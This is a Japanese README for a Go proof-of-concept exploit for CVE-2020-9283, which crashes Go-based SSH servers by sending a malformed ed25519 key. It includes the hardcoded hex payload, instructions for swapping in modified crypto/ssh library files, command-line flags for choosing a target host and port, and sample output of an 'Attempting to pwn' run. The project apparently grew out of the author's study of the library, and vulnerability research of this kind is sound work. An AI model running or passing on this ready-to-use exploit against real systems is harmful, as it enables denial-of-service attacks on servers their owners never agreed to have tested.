CVE-2020-9283 のエクスプロイト

このプロジェクトは、github.com/mark-adams/exploits/CVE-2020-9283 にあるオリジナルの POC に触発されたものです。 Go の SSH ライブラリがどのように実装されているのか興味があったため、Go を使って PoC を実装することにしました。

短い解説記事はこちら: https://dev.to/brompwnie/modifying-go-s-crypto-ssh-library-for-cve-2020-9283-26a7

これは何をするのか？

Go ベースの SSH サーバー上でパニックを発生させ、DoS につながる可能性があります。

インストール

Release セクションでバイナリをリリースしていますが、添付のソースコードを使って自分で再ビルドすることもできます。

ソースコードのビルド

この仕組みを理解するために、自分のシステム上の Go crypto ライブラリを直接変更することにしました。これは理想的な方法ではなく、おそらく最善のやり方でもありませんが、動作はします ;) GO モジュールを使って再ビルドしたい場合は、ローカルシステム上の Crypto/ssh ファイル client_auth.go、handshake.go、transport.go の内容を、ここにある ".bak" ファイルに置き換えてください。これらの変更されたファイルには、詳細なデバッグ出力と、パニックを引き起こすハードコードされたペイロード "0000000b7373682d65643235353139000000156161612d616161612d61612d6161612d6161616161" が含まれています。

使い方

大量のデバッグ出力と「エラー」が表示されますが、これは想定どおりです。ターゲットがパニックを起こした場合は、"bad key lengths" に関連するエラーが表示されるはずです。ローカルでテストしたい場合は、github.com/mark-adams/exploits/CVE-2020-9283 にある脆弱なコードを使用してください。

# ./CVE-2020-9283 -h
Usage of ./CVE-2020-9283:
  -host string
        IP address of SSH host to target (default "localhost")
  -key string
        ssh-ed25519 private key to use (default "thekey")
  -port string
        Port to target (default "22")

# ./CVE-2020-9283 -port=2022
./CVE-2020-9283 -port=2022
+] Sploit for CVE-2020-9283
[+] Attempting to pwn: localhost:2022
[!] Attempting: cMSG_USERAUTH_REQUEST
[+] userAuthRequestMsg User:  notme
[+] userAuthRequestMsg Service:  ssh-connection
[ERROR] ssh: handshake failed: EOF
[+] This should have invoked a panic on the SSH target i.e 'panic: ed25519: bad public key length'

CVE-2020-9283

人気

CVE-2020-9283 のエクスプロイト

これは何をするのか？

インストール

ソースコードのビルド

使い方